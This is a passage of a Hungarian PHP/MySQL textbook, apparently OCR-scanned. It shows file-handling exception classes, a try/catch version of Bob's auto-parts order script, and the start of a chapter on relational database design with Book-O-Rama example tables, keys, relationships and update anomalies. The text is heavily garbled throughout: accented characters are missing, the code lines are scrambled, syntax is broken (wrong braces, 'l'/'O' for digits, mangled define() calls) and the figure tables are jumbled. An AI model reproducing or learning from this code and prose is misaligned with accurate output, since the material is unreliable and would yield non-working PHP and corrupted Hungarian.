7.4 pldakd: fajl_kivetelek. php- Fjlkezelshez kapcsold <?php class fajlNyitasiKivetel extends Exception
function
__

kivtelek

toString()

return nfajlNyitasiKivetel n. n: ''. n.

$this->getCode() />n. n
a

$this->getMessage(). n<br n fjl n. / >'';

$this->getFile(). sorb an '' ''<br

$this->getLine()

class fajlirasiKivetel extends Exception


function toString()

return nfajlirasiKivetel n. n: ''. n.

$this->getCode() />n. n a n

$this->getMessage(). n<br n f j l /> '';


n .

$this->getFile(). sorb an '' ''<br

$this->getLine()

class fajlZarolasiKivetel extends Exception


function
__

toString()

7
$this->getCode() />n. n a n n fjl n. />''; $this->getLine()

return

nfajlZarolasiKivetel n n: ''. n

$this->getMessage(). n<br

$this->getFile(). sorb an '' ''<br

?>

Ezek az Exception alosztlyok semmi klnlegeset nem tesznek. Jelen alkalmazshoz akr res alosztlyknt is felhasz nlhattuk volna ket, de az alap Exception osztly is megfelel lenne. Mindazonltal minden alosztlyhoz ltrehoztunk egy
_toString()

metdust, amely kzli, hogy milyen tpus kivtel trtnt.


_

A 2. fejezetbl ismert rendeles feldolgozasa php fjlt trtuk, hogy beptsk a kivteleket. Az j vltozar a 7.5 .

pldakdban lthat.

136

7. fejezet

7.5 pldakd: rendeles_feldolgozasa. php - B ob rendelseket Jeldolgoz kdja kivtelkezels beptse utn
<?php require_once("fajl kivetelek.php"};

ll rvid vltoznevek ltrehozsa


$abroncs_db = $_POST['abroncs_db']; $olaj_db = $ POST['olaJ_db']; $gyertya_db = $ POST['gyertya_db']; $szallitasi_cim = $_POST['szallitasi eim']; $DOCUMENT_ROOT ?> $ SERVER['DOCUMENT_ROOT'];

<html> <he ad> <title>Bob autalkatrszek </head> <body> <hl>Bob autalkatrszek</hl> <h2>Rendelsi eredmnyek</h2> <?php $datum = date('H:i, jS F'}; Rendelsi eredmnyek</title>

echo "<p>Rendels feldolgozsnak id6pontja:

".$datum."</p>";

echo

'<p> Rendelse az albbi:

</p>';

$osszmennyiseg = 0; $osszmenny1seg = $abroncs_db echo " Rendelt termkek szma:


+

$olaJ

db

$gyertya db;

".$osszmennyiseg."<br />";

if( $osszmennyiseg == 0}

echo " Egyetlen ttelt sem rendelt az el6z6 oldalon!<br />"; else if

{ {

( $abroncs_db > O }

echo $abroncs_db." gumiabroncs<br />"; if ( $olaj_db > O }

7
.__ __

echo $olaj db." flakon olaj<br />"; if ( $gyertya_db > O }

_",,

echo $gyertya_db." gyjtgyertya<br />";

$vegosszeg = 0.00; define('ABRONCSAR', define( 'OLAJAR', 100};

l0}; 4};

define('GYERTYAAR' ,

$vegosszeg = $abroncs_db
+ +

ABRONCSAR OLAJAR
*

$olaj_db

$gyertya db

GYERTYAAR; 2,
l '

$vegosszeg=number_format($vegosszeg,

);

Hiba- s kivtelkezels

137

echo "<p> A rendels vgsszege: echo "<p>Szllitsi eim:

".Svegosszeg."</p>";

".$szallitasi cim."</p>";

$kimeneti sztring

$daturn."\t". Sabroncs_db." gumiabroncs \t".$olaj db." olaj\t" .$gyertya_db." gyjtgyertya\t\$".$vegosszeg ."\t". Sszallitasi cim."\n";

ll fjl megnyitsa hozzirshoz


try

if (1($fp

@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt",

'ab')))

throw new fajlNyitasiKivetel();

if (!flock($fp,

LOCK_EX))

throw new fajlZarolasiKivetel();

if (1fwrite($fp,

$outputstring,

strlen($outputstring)))

throw new fajlirasiKivetel();

flock($fp,

LOCK_UN);

fclose($fp); echo "<p>Rendels megirva. </p>";

catch (fajlNyitasiKivetel $foe)


echo "<p><strong>A rendelseket tartalmaz fjlt nem lehet megnyitni. Krjk, lpjen kapcsolatba a webmesternkkel'</strong></p>";

catch (Exception $e) echo "<p><strong>Megrendelst jelenleg nem tudjuk feldolgozni.


Krjk, prblkezzon ks6bb!</strong></p>";

?> </body> </html>

A kd fjlkezelssei foglalkoz rszt try blokk veszi krl. Az ltalos s kvetend programozsi gyakorlat kis try blokkok alkalmazsa, illetve mindegyik utn a megfelel kivtel elkapsa. Igy knnyebb a kivtelkezel kd megrsa s kezel-

se, hiszen mindig pontosan ltjuk, hogy mivel foglakozunk. Ha nem tudjuk megnyitni a fjlt, fajlNyitasiKivetel-t vltunk ki; ha nem tudjuk zroini a fjlt, akkor
fajlZarolasiKivete l-t, ha pedig nem tudunk rni bele, akkor fajlirasiKivetel-t idznk el.

l 7

Vizsgljuk meg a catch blokkokat! Nem vletlenl csak kett van bellk: az egyik a fajlNyitasiKivetel kivteleket kezeli, a msik az Exception kivteleket. Mivel a tbbi kivtel az Exception osztlybl rkldik, ezeket a msodik catch blokk fogja elkapni. A catch blokkok kivtelekkel prostsa ugyanolyan alapon trtnik, mint az instanceof opertor. Ezrt is rdemes sajt kivtelosztlyainkat egyetlen osztlybl szrmaztatni. Vgezetl egy fontos figyelmeztets: ha olyan kivtelt vltunk ki, amelynek nem rtunk megfelel catch blokkot, a PHP vgzetes hibt jelez.

138

7. fejezet

Kivtelek s a PHP tovbbi hibakezel mechanizmusai


A fejezetben bemutatott kivtelkezel mechanizmusan tlmenen a PHP sszetett hibakezel tmogatssal rendelkezik, amellyel a Hibakvets cm 26. fejezetben foglalkozunk. rdemes megemliteni, hogy a kivtelek kivltsnak s kezelsnek folyamata egyltaln nem befolysolja ezen hibakezel mechanizmus mkdst. Figyeljk meg a 7.5 pldakdban, hogy az fopen ( ) fggvny meghvsa eltt tovbbra is ott talljuk a @ hibaelnyom opertort! Sikertelen meghvs esetn a PHP figyelmeztetst ad ki, amely a php. ini hibaJelent belltsaitl fggen vagy megjelenik s naplba kerl, vagy nem. Ezeket a belltsokat a 26. fejezetben rszletesen megismerjk, de fontos tudni, hogy a PHP a kivtelkivltstl fggetlenl kiadja a figyelmeztetst.

Tovbbi olvasnival
Mivel a kivtelkezels a PHP egyik jdonsga, nem tl sokat rtak mg a tmban. A kivtelkezelsrl ltalnossgban azon ban bsges informci lelhet fel. A Sun kivl oktatanyaggal rendelkezik a kivtelekrl, illetve arrl, mirt rdemes hasz nlni azokat. A - termszetesen a Java szemszgbl rdott - anyag a http://java.sun.com/docs/books/tutorial/essential/ exceptions/handling.html oldalrl rhet el.

Hogyan tovbb:
A knyv kvetkez rsze a MySQL-lel foglalkozik. Megtudjuk, hogyan hozzunk ltre s tltsnk fel MySQL adatbzist, majd mindezt a PHP-rl tanultakkal sszekapcsolva hogyan lehet az adatbzist az internetrl elrni.

II
A MySQL hasznlata

Webes adatbzis megtervezse

Webes adatbzis ltrehozsa

10

Munkavgzs MySQL adatbzisunkkal

ll

MySQL adatbzis elrse a webrl PHP-vel

12

Halad MySQL-adminisztrci

13

Halad MySQL-programozs

8
Webes adatbzis megtervezse
A PHP alapjainak megismerse utn figyelmnket afel fordtjuk, hogyan tudunk kcljainkba adatbzist bepteni. Emlkez hetnk r, hogy az Adatok trolsa s visszakeresse cm 2. fejezet bemutatta, milyen elnykre szmthatunk, ha az egyszer fjlok helyett relcis adatbzist hasznlunk: A relcis adatbzis-kezel rendszerek (RDBMS) az egyszer fjloknl gyorsabb hozzfrst tesznek lehetv az adatokhoz. Az RDBMS-ekbl lekrdezssel egyszeren kinyerherk adott kritriumoknak megfelel adathalmazok. Az RDBMS-ek beptett mechanizmusokat knlnak az egyidej hozzfrsek kezelsre, gy programozknt nem szksges ezzel foglalkoznunk. Az RDBMS-ek vletlen hozzfrst biztostanak az adatokhoz. Az RDBMS-ek beptett jogosultsgi rendszerekkel rendelkeznek. Hogy nhny kzzelfoghat pldt is nzznk, relcis adatbzis hasznlatval gyorsan s egyszeren vlaszt kapunk az olyan lekrdezsekre, hogy honnan rkeznek vsrlink, mely termkek fogynak a legjobban, s milyen tpus vsrlk klte nek a legtbbet. ilyen - egy egyszer fjlbl igen nehezen kinyerhet - informcik birtokban fejleszthetjk oldalunkat, hogy rbb felhasznlt vonzzon, s segtsen megtartani ket. A knyv elttnk ll rszben MySQL adarbzist fogunk hasznlni. Mieltt a kvetkez fejezetben elmlyednnk a MySQL rszleteiben, megvizsgljuk a kvetkezket: Relcis adatbzisokkal kapcsolatos fogalmak s szakkifejezsek Webes adatbzis megtervezse Webes adarbzis architektrja A knyv ezen rszben az albbi terletekkel ismerkednk meg: A Webes adatbzis ltrehozsa cm 9. fejezet MySQL adatbzis internethez kapcsolsnak alapvet belltst mutatja be. Megtudjuk, hogyan hozhatunk ltre felhasznlkat, adatbzisokat, tblkat s indexeket, s megsmerjk a MySQL klnbz trolmotorjait. A Munkavgzs MySQL adatbzisunkkal cm 10. fejezetbl kiderl, hogyan lehet lekrdezni az adatbzisbl, hogyan tudunk rekordokat hozzadni, trlni s frissteni - mindezt parancssorbL A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezet bemutatja, hogyan lehet a PHP-t s a MySQL-t ssze kapcsolva adatbzisunkat webes kezelfelletrl elrni s hasznlni. Kt mdszert ismernk meg erre: az egyik a PHP .. MySQL Improved Extension" (mysqli) kiterjesztst, a msik a PEAR:DB adatbzis-absztrakcis rteget hasznlja. A Halad MySQL-adminisztrci cm 12. fejezer rszletesebben taglalja a MySQL-felgyeletet, olyan terleteket rint ve, mint a jogosultsg rendszer, a biztonsg s az optimalizls. A Halad MySQL-programozs cm 13. fejezet a trolmotorokat mutatja be rszletesebben, foglalkozik a tranzakcik lefedettsgvel, a teljes szvegben keresssel s a trolt eljrsokkal.

Relcis adatbzissal kapcsolatos fogalmak


A relcis adatbzis messze a leggyakrabban hasznlt adatbzistpus. Az ilyen adatbzisok a relcis algebra szilrd elmleti alapjaira plnek. Relcis adarbzis hasznlathoz nem szksges, hogy mlyrehatan ismerjk a relcis elmletet (ez min denkppen j hr), m bizonyos alapvet adatbzis-fogalmakkal tisztban kell lennnk.

Tblk
A relcis adatbzisok kapcsolatokbl plnek fel, amelyeket tblknak vagy tblzatoknak (rable) szoks nevezni. A tbla pon tosan az, amit a neve sugall - adarokbl ll tblzat. Ha hasznltunk korbban tblzatkezel alkalmazst, akkor tblkkal is dolgoztunk mr.

142

8.fejezet

Vessnk egy pillamst a 8.1 brn lthat mintatblra, amely a Book-O-Rama nev knyvesbolt vsrlinak nevt s cmr tartalmazza! VASARLOK VasariolD l 2 3 Nev
Julie Smith Alan Wong Michelle Arrhur

Lakeim 25 Oak Street 1/47 Haines Avenue 357 Norrh Road

Varos
Airporr West BoxHiU Yarraville

8.1 bra: A Book-O-Rama vsrlinak adatai tblzatban trolva. A tblnak van neve (vasarlok), s klnbz adatokat tartalmaz oszlopokbl s az egyes vsrlknak megfelel sorok bl ll.

Oszlopok
A tbla minden oszlopa egyedi nvvel br, s klnbz adatokat tartalmaz. Minden oszlop megfelel adattpus. A 8.1 brn lthat Vasarl ok tblbl kiderl, hogy a Vas arl o I D (vagyis vsrlazonost) egsz szmokat, a msik hrom oszlop karakterlncokat tartalmaz. Az oszlopokat esetenknt mezknek (field) vagy tulajdonsgoknak, attribtumoknak (attribute) is szoks nevezni.

Sorok
A tbla mindegyik sora egy-egy vsrlt jelkpez. A tblzatos forma miatt minden sor ugyanazokkal a tulajdonsgokkal ren delkezik. A sorokat szoks rekordoknak ( record) is nevezni.

rtkek
Minden sor az egyes oszlopoknak megfelel rtkek kszlett tartalmazza. Minden adatnak az oszlopa ltal meghatrozott adattpusnak kell lennie.

Kulcsok
Szksg van az egyes vsrlk azonostst lehetv tev mdszerre. A nevek ltalban nem alkalmasak erre. A gyakori nvvel megldott olvask nnden bizonnyal jl tudjk ezt.Gondoljunk pldul aVasar lok tblban szerepl Julie Smith-re! Ha kinyitunk egy amerikai a telefonknyvet, megszmllhatatlan sok ilyen nev embert tallunk. " "Oak Street 25, Airport West alatt lak Julie Smith nven emlegetni t azonban kicsit krlmnyes, s tlsgosan hivatalos nak hat. Radsul hasznlathoz a tbla egynl tbb oszlopra is szksg lenne. Amit a pldban tettnk, s amit nnden bizonnyal s:Yt alkalmazsainkban is tenni fogunk, nem ms, mint egyni vsr lazonost (Vasar lo I D) hozzrendelse az gyfelekhez. Ugyanezen elv alapjn kapjuk egyedi bankszmlaszmunkat vagy tagsgi szmunkat a DVD-klcsnzben. Egyszerbb teszi adataink adatbzisban trolst. Mestersgesen kiosztott azono st szmnl garantlhatjuk az egyedisget. Nagyon kevs valdi adat rendelkezik ezzel a tulajdonsggal. Gyakran mg az sem szavatolja az egyedi azonostst, ha tbb ilyen adatot kombinlva hasznlunk. Tbbflekppen megklnbztethetjk kzttkJulie-t. esllyel az egyetlenJulie Smith, aki a megadott lakcmen l. Az J

pldul az "Oak Street 25, Airport West alatt lak Julie Smith"-knt hivatkozunk, akkor a kulcs a Lakcim, Varos s Nev osz lopbl ll, s ebben az esetben nem felttlenl lesz egyedi azonost. Az adatbzisok jellemzen tbb tblbl llnak, s kulcsot hasznlva hivatkoznak az egyik tblrl a msikra. A 8.2 brn egy, ehhez az adatbzishoz adott msodik tblt ltunk, amely a vsrlk ltal jelzett megrendelseket trolja. A Megrendelesek tbla minden sora egy adott vsrl egy konkrt megrendelst jelkpezi.Tudjuk, hogy ki a szban forg vsrl, mivel VasarloiD nven eitraijuk az gyflazonostjt. Ha megnzzk pldul a 2-es rendelsi azonostj
(RendelesiD)

A tblzat azonost oszlopt kulcsnak vagy elsdleges kulcsnak nevezzk. A kulcs tbb oszlopot is tartalmazhat. HaJulie-ra

rendelst, lthatjuk, hogy az l-es gyflazonostj vsrl adta. Ha ezt kveten rnznk a Vasarlok tb

lra, kiderl, hogy az l-es gyflazonosttJulie Smith kapta.

Webes adatbzis megtervezse

143

VASARLOK VasariolD l
2 3

Nev
JulieSmith Alan Wong Michelle Arthur

Lakeim
25 OakStreet

Varos
Airport West BoxHill Yarraville

l l 4 7 Haines Avenue
357 North Road

MEGRENDELES RendelesiO
2 3 4

3 2 3

VasariolD l

sszeg
27.50 12.99 74.00 6.99

Datum
02-Apr-2007 15-Apr-2007 19-Apr-2007 01-May-2007

8.2 bra: A Megrendelesek tblban szerepl minden egyes rendelst a Vasar/ok tblban lv valamelyik vsrl adta le.
A relcis adatbzis az idegen kulcs (foreign key) kifejezst hasznlja az ilyen kapcsolatta. AVasarlok tblban

a VasarloiD az elsdleges kulcs, de ms tblban-a pldban a Megrendelesek- ben-idegen kulcsknt hivatkezunk r. Felvetdhet a krds, mirt rdemes kt kln tblt hasznlni. Mirt nem troljukJulie cmt egyszeren a rendelseket tartalmaz Megrendelesek tblban? A kvetkez rszben rszletesen foglalkozunk ezzel.

Smk
Az adatbzis sszes tblatervt egyttesen adatbzissmnak (schema) nevezzk. A sma az sszes tblt s azok oszlopait, illetve az egyes tblk elsdleges kulcst s idegen kulcsait tartalmazza. Adatok ugyan nincsenek benne, de rtelmezst meg knnytend mintaadatokat helyezhetnk bele. A smkat megjelenthetjk informlis brkon (ahogy az imnt tettk), egyed kapcsolat diagramban (amivel knyvnkben nem foglalkozunk), illetve szveges formban, pldul:
Vasarlok(VasarloiD,

Nev,

Lakcim,

Varas) Osszeg, Datum)

Megrendelesek(RendelesiD,

VasarloiD,

A smban az alhzott kifejezsek elsdleges kulcsok abban a relciban, amelyben al vannak hzva. A dlttel szedett kifejezsek pedig kls kulcsok abban a relciban, amelyben dlten jelennek meg.

Kapcsolatok
Az idegen kulcsok tblban lv adatok kztti kapcsolatot jelkpeznek. A Megrendelesek tblrl a Vasarlok tblra mutat nyl pldul a Megrendelesek tbla sorai s a Va sarlak tbla sorai kztti kapcsolatra utal. Hromfle kapcsolat ltezik a relcis adatbzisokban. A hrom tpust a kapcsolat kt oldaln lv elemek szma szerint klnbzteljk meg. A kapcsolat lehet egy az egyhez (one-to-one), egy a sokhoz (one-to-many) vagy sok a sokhoz (many-co many) tpus. Az egy az egyhez kapcsolat azt jelenti, hogy mindkt dologbl egy-egy alkolja a kapcsolatot. Ha pldul a lakcmeket a Vasarlok tblbl kln tblba tennnk, egy az egyhez tpus kapcsolat lenne kzttk. A Cimek tblbl egy idegen kulcs mutatna a Vasa rl ok tblba vagy fordtva. Egy a sokhoz tpus kapcsolat esetn az egyik tblzat sora(i) a msik tbb sorhoz kapcsoldhat(nak). Pldnknl maradva: a vsrlk tbb megrendelst is leadharnak. Ilyen kapcsolatnl a sok sort tartalmaz tblzat idegen kulcsa mutat az egy sort tartalmaz tblzatra. Ebben az esetben az gyflazonostt betesszk a megrendelseket tartalmaz tblba, hogy mutassa a kapcsolatot. Sok a sokhoz tpus kapcsolat esetben az egyik tbla tbb sora kapcsoldik a msik tbla tbb sorhoz. Kpzeljnk el kt tblt, az egyik knyveket ( Konyvek) , a msik szerzket ( Szerzok) tartalmaz. Ltezik olyan knyv, amit kt szerz jegyez, akik ms knyveket is rtak-egyedl vagy ms szerzkkel. Az ilyen tpus kapcsolatban ltalban egy minden adatot tartalmaz tblzat is ltezik, gy a fenti pldnl maradva lesz Konyvek, Szerzok s Konyvek_ Szerzok tbla is. Ebben a harmadik tblban csak a msik kt tbla kulcsait talljuk idegen kulcsknt prokban. Ezek mutatjk, hogy mely szerzk mely knyvekben rintettek.

l 8

144

8. fejezet

Webes adatbzis megtervezse


Bizonyos tekintetben mvszet tudni azt, hogy mikor van szksg j tblra, s mi legyen a kulcs. Rengeteg knyvet tallunk az egyed-kapcsolat diagramokrl s az adatbzis-normalizlsrl, amely tmakrk meghaladjk jelen ktet tartalmi lehet sgeit. Az esetek tbbsgben azonban elegend nhny alapvet tervezsi elvet betartani. Vizsgljuk meg most ezeket a fenti pldkban szerepl knyvesbolt kontextusban l

Gondoljuk vgig a modellezett, vals vilgbeli objektumokat!


Adatbzis ltrehozsakor ltalban vals vilgbeli elemeket s kapcsolatokat modelleznk, s ezekrl az objektumokrl s kap csolatokrl trolunk el informcit. ltalnossgban azt mondhatjuk, hogy a modellezett, vals vilgbeli objektumok minden egyes osztlynak kln tblra van szksge. Gondoljunk csak bele: ugyanazt az informcit kivnjuk trolni minden vsrlrl! Ha egy adatkszlet ugyan olyan formj, knnyedn ltrehozharunk az adatoknak megfelel tblt. A Book-O-Rama knyvesbolt pldjban a vsrlkrl, a forgalmazott knyvekrl s a rendelsekrl szetetnnk informcit trolni. Minden vsrlhoz tattozik nv s cm. Minden megrendelsnl van dtum, vgsszeg s rendelt knyvek. Minden knyvhz tartozik ISBN-kd, van szerzje, cme s ra. A fentiekbl az kvetkezik, hogy legalbb hrom tblra van szksgnk az adatbzisban: Vasarlok, Megrendelesek s Konyvek. Az adatbzis kezdeti smjt a 8.3 brn lthatjuk VASARLOK
VasariolD Nev Lakeim Varos

l 2 3

Julie Smith

25 Oak Street 1/47 Haines Avenue 357 North Road

Airport West Box Hill Yarraville

Alan Wong

MEGRENDELE
RendelesiO

3 l 2 3

Michelle Arthur

VasariolD

sszeg

Datum

l 2 3 4

27.50 12.99 74.00 6.99

02-Apr 2007
-

15 Ap r-2007
-

19-Apr-2007 01-May-2007

KONYVEK
ISBN Szerzo Cim Ar

0-672-31697-8 0-672-31745-1 o- 672-31509-2

Michael Morgan ThomasDown Pruitt.et al.

Java 2 for ProfessionalDevelopers Installing GNU/Linux Teach Yourself GIMP in 24 Hours

34.99 24.99 24.99

8.3 bra: A kiindul sma Vasarlok, Megrendelesek s Konyvek tblbl ll. A modellbl egyelre nem tudjuk megmondani, mely knyveket vlasztottk az egyes rendelsekben. Rvidesen azonban

ezzel is foglalkozni fogunk.

Redundns adatok trolsnak elkerlse


Korbban feltettk a krdst:.Mirt ne troljukJulie Smith lakcmt a Megrendelesek tblbant HaJulie tbbszr is rendel a Book-0-Ramtl, ahogy azt remljk, akkor adatait tbbszr eltroljuk. Ebben az esetben vgeredmnyknt egy, a 8.4 brn lthathoz hasonl tbla addna. (Ugyanakkor egy ilyen adattrolsnak is meglehetnek az elnyei, hiszen - a pldnl maradva - kiderl pldul az, hogy rendelskor rnilyen szlltsi cmet adott meg a vsrl, s mi lyen cmre indtottuk a rendelst.)

Webes adatbzis megtervezse

145

RendelesiO 12 13 14 15

sszeg 199.50 43.00 15.99 23.75

Oatum 25-Apr-2007 29-Apr-2007 30-Apr-2007 01-May-2007

VasariolD

Nev Julie Smith Julie Smith Julie Smith Julie Smith

Lakeim
25 ak Street 25 ak Srreer 25 ak Street 25 ak Street

Varos Airporr Wesr Airporr Wes r Airporr Wesr Airporr Wesr

l
l l l

8.4 bra: A redundns adatokat trol adatbzis nagyobb trhelyet ignyel, s anom/ikat okozhat az adatokban.

Egy ilyen adatbzisnl kt alapvet problma merl fel: Az egyik a helypazarls. Mirt troljukJulie szemlyes adatait hromszor, ha elg lenne csak egyszer is? A msik, hogy ez frisstsi anomlikhoz vezethet - vagyis olyan helyzetekhez, amelyekben az adatbzis mdostsa inkonzisztens adatokat eredmnyez. Az adatintegrits srl, s nem tudjuk megllaptani, hogy melyik adat helyes s melyik nem. Egy ilyen helyzet jellemzen informcivesztshez vezet. Hromfle frisstsi anomlit sziiksges elkerlni: a mdostsi, a beszrsi s a trlsi anomlikat. HaJulie msik laksba kltzik, mikzben egyes megrendelsei mg fggben vannak, akkor cmt egy helyett hrom he lyen kell frissteni, ami hromszor annyi munkt jelent. Knnyen megfeledkezhetnk errl, s csak egyeden helyen mdostjuk a lakcmt, ami inkonzisztens adatot eredmnyez adatbzisunkban (ami nem kifejezetten rvendetes szmunkra). Az ilyen problmkat mdostsi anomliknak nevezzk, mert akkor jelentkezhetnek, amikor megksreljk mdostani az adatbzist. Az adatbzis ilyen kialaktsa esetn Julie adatait minden egyes rendelsfelvtelnl be kellene szrni, gy nnden alkalommal ellenriznnk kellene, hogy azok megegyeznek-e a tbla meglv soraiban lv adatokkal. Ha elmulasztjuk az ellenrzst, knnyen lesz kt olyan sorunk, amely egymsnak ellentmond informcit trolJulie-rL Az egyik sorban pldul az szerepel, hogy Airport Westben lakik, a msik sor pedig azt sugallja, hogy Airportban. Az ilyen esetet beszrsi anom/inak nevezzk, mert adatok beszrsa esetn fordulhat el. A harmadik tpust trlsi anom/inak nevezik, mert - brmilyen meglep - akkor jelentkezhet, ha sorokat trlnk ki egy adatbzisbL Kpzeljk el, hogy a megrendels kiszllrsa utn trljk azt az adatbzis bl! Julie aktulis megrendelseinek teljestse utn azok mind trldnek a Megrendelesek tblbL Ez azt jelenti, hogy a ksbbiekben nincsen rekordunk Julie cmvel. Nem kldhetnk neki tjkoztatt a klnleges ajnlatainkrl, s amikor legkzelebb rendel valamit a Book-0Ramtl, ismt be kell krnnk minden adatt. ltalnossgban gy kell adatbzisunkat megrervezni, hogy a fenti anomlik egyike se kvetkezzk be.

Atomi oszloprtkek hasznlata


Atomi oszloprtkek hasznlata esetn nnden sor nnden tul:Ydonsgnl csak egyeden dolgot trolunk. Pldul tudnunk kell azt, hogy milyen knyvekbl llnak ssze az egyes rendelsek. Tbbflekppen is elrhetjk ezt. Az egyik megolds az lehetne, hogy hozzadunk a Megrendelesek tblhoz egy olyan oszlopot, amely a megrendelt k nyveket tartalmazza. Ezt az esetet ltjuk a 8.5 brn.
MEGRENDELESEK
RendelesiO
l

VasariolD 3

sszeg 27.50 12.99 74.00 6.99

Oa tum 02-Apr-2007 15-Apr-2007 19-Apr-2007 01-May-2007

Rendelt konyvek 0-672-31697-8 0-672-31745 -l, o -672-31509-2 0-672-31697-8 0-672-31745 -l, 0-672-31509-2,0-672-31697-8

2 3
4

l
2 3

8.5 bra: flyen kialakts esetn a Rendelt konyvek tulajdonsgnl soronknt tbb rtk fordulhat el.

Ez a megolds tbb okbl sem szerencss. Itt tulajdonkppen az trtnik, hogy egy egsz tblzatot gyazunk egyetlen osz lopba - egy olyan tblzatot, amely a megrendelseket s a knyveket kapcsolja ssze. Ha gy alaktjuk ki az oszlopokat, sokkal nehezebb vlik megvlaszolni az olyan krdseket, mint a "Hny pldnyt rendeltek a Java 2 for Professional Developers cm kiadvnybl?': A rendszer gy nem cuclja egyszeren csak sszeszmolni az egyez mezket. Helyette nnden tulajdonsgrt ket meg kell vizsglnia az egyezsg megllaptsra. Mivel az, ami gy ltrejtt, tulajdonkppen tbla a tblban, egyszeren annyit kell tenni, hogy j tblt hozunk ltre. Ez a Rendelesi tetelek nev tbla lthat a 8.6 brn.

146

8. fejezet

RENDELESI TE TELEK
-

Rendelesi D l 2 2 3 4 4 4

ISBN 0-672-31697-8 0-672-31745-1 0-672-31509-2 0-672-31697-8 0-672-31745-1 0-672-31509-2 0-672-31697-8

D arabszam

l 2 l l l 2 l

8.6 bra: Ez a kialakts megknnyti, hogy a megrendelt knyvek kztt keressnk.

Ez a tbla kapcsolatot teremt a Megrendelesek s a

Konyvek

tbla kztt. Ilyen tblkkal akkor tallkozunk, amikor

sok a sokhoz tpus kapcsolat ll fenn kt objektum kztt; jelen esetben ez azrt van gy, mert egy rendels tbb knyvet tar talmazhat, s brmely knyvet tbben is megrendelhetnek.

Vlasszunk rtelmes kulcsokat!


gyeljnk arra, hogy egyedi kulcsokat vlasszunk! Pldnkban klnleges kulcsot hoztunk ltre a vsrlknak
(vasarloiD)

s a rendelseknek (RendelesiD), mert ezek a vals vilgbeli objektumok nem szksgszeren rendelkeznek egyedi azono stval. A knyvekhez nem szksges egyedi azonostt ltrehozni, hiszen ezt- az ISBN-kd formjban- mr megtettk szmunkra. Az egyes rendelsekhez (Rendelesi_tetel) adhatnnk ugyan mg egy kulcsot, m a RendelesiD s az egy sorknt kezeljk a rendelst. Pontosan ezrt rendelkezik a Rendeles i_ tetelek tbla
Darabszam
ISBN

tulajdonsg egyttesen garantlja az egyedisget, amennyiben ugyanabbl a knyvbl egynl tbb pldny rendelse esetn is oszloppal.

Gondoljuk vgig, mit szeretnnk az adatbzisbl megtudni!


Kvetkez lpsknt gondoljuk vgig, milyen krdsekre szeretnnk, ha adatbzisunk vlaszt tudna adni! (Ilyen krds lehet pldul az, hogy melyek a Book-O-Rama legjobban fogy knyvei.) Annak rdekben, hogy megkapjuk a krt informcit, gondoskodjunk rla, hogy az adatbzis minden szksges adatot tartalmazzon, s a megfelel kapcsolat legyen a tblk kzrt!

Kerljk a sok res tulajdonsgot tartalmaz kialaktst!


Ha a knyvekrl szl rtkelseket szeretnnk adni az adatbzishoz, legalbb ktflekppen tehetnnk meg. Ezt a kt megk zeltst lthatjuk a 8.7 brn. KONYVEK
ISBN o-672-31697-8 0-672-31745-1 O- 672-31509-2 Szerzo
Michael Morgan Thomas Down Pruirt.et al.

Konyvcim
Java 2 for Professional Developers Installing GNU/Linux Teach Yourself GIMP in 24 Hours

Ar 34.99 24.99 24.99

Ertekeles

KONYV_ERTEKELESEK
ISBN

Ertekeles

8.7 bra: Az rtkelsek trolshoz vagy Ertekeles oszlopot kell hozzadni a Konyvek tblhoz, vagy ltre kell hozni egy kln tblt kifejezetten az rtkelsek szmra.

Az els mdszer esetn egy

Ertekeles

oszlopot kell hozzadni a

Konyvek

tblhoz. Ez azt jelenti, hogy nnden egyes

knyvhz hozzadjuk az Ertekeles mezt. Ha az adatbzis szmos knyvet tartalmaz, s az rtkelsrt felels szemly nem fog mindegyikkel foglalkozni, akkor sok olyan sor lesz, amelynek ennl a tulajdonsgnl nem lesz rtke. Ezt gy hvjuk, hogy res rtke (null value) van. rdemes elkerlni azt, hogy adatbzisunkban sok res rtk legyen. Egyrszt pazarolja a trhelyet, msrszt problmkat okoz, amikor sszestett rtkeket szmolunk ki, vagy egyb fggvnyeket alkalmazunk numerikus rtkeket trol oszlopo-

Webes adatbzis megtervezse

147

kan. Ha

a felhasznl res mezt lt egy tblban, nem fogja tudni, hogy ennek az az oka, hogy a tulajdonsg irrelevns, az adatbzis hibt tartalmaz, vagy az adat egyszeren mg nem lett berva. A sok res rtk okozta problmkat msmilyen adarbzisterv alkalmazsval kerlhetjk el. Ehhez a 8.7 brn javasolt msodik kialakrst clszer kvetni. Itt csak a mr rtkelssel br knyveket soroljuk fel a Konyv Ertekelesek tblban - termszetesen az rtkelskkel egytt. Meg kell emltennk, hogy a fenti szerkezet egyetlen, hzon belli szemly ltal rt rtkelssel szmol; ez azt jelenti, hogy egy az egyhez tpus kapcsolat ll fenn a knyvek s az rtkelsek kztt. Ha tbb rtkels tartozhat ugyanahhoz a knyv hz, akkor mr egy a sokhoz tpus kapcsolarrl beszlnk, s ekkor csak a msodik adatbzisterv jhet szba. Knyvenknt egyeden rtkels esetn a Konyv Ertekelesek tbla elsdleges kulcsaknt hasznlhatjuk az ISBN-kdot, knyvenknt tbb tekelsnl azonban egyedi azonostt kell bevezetnnk mindegyikhez.
_ _

Tblatpusok sszefoglalsa
ltalban azt fogjuk tapasztalni, hogy adatbzistervnk vgl ktfle tblt tartalmaz: Vals vilgbeli objektumot ler, egyszer tblkat. Ezek olyan egyb, egyszer objektumokra mutat kulcsokat tar ralmazhatnak, amelyekkel egy az egyhez vagy egy a sokhoz tpus kapcsolarban llnak. Egy vsrlnak pldul tbb rendelse lehet, de egy adott rendelst csak egyetlen vsrl adhatott fel. Ezrt a rendelsbe a vsrlra ural hivatkozst helyeznk. sszekapcsol tblkat, amelyek kr vals objektum kztti, sok a sokhoz tpus kapcsolatot rnak le; ilyen pldul a rendelsek s a knyvek kztti kapcsolat. Ezeker a tblkat gyakran valamilyen vals vilgbeli tranzakcival trstjuk.

Webes adatbzis architektrja


Miurn ttekintettk az adarbzis bels szerkezerr, vizsgljuk meg a webes adarbzisrendszerek kls archirekrrjr s a we bes adarbzisrendszer fejlesztsnek mdszertant! A webszerverek alapver mkdsr a 8.8 brn ltjuk. A rendszer kt objektumbl ll: egy bngszbl s egy webes kiszolglbL Kommunikcis kapcsolatra van szksg kzrtk. A bngsz krst intz a kiszolglhoz, amely megkldi a vlaszt. Ez az architektra kivlan megfelel a statikus oldalakat kezel kiszolglknak. A httrben adatbzissal mkd weboldalak azonban ennl nmikppen sszetettebb krnyezetet ignyelnek.

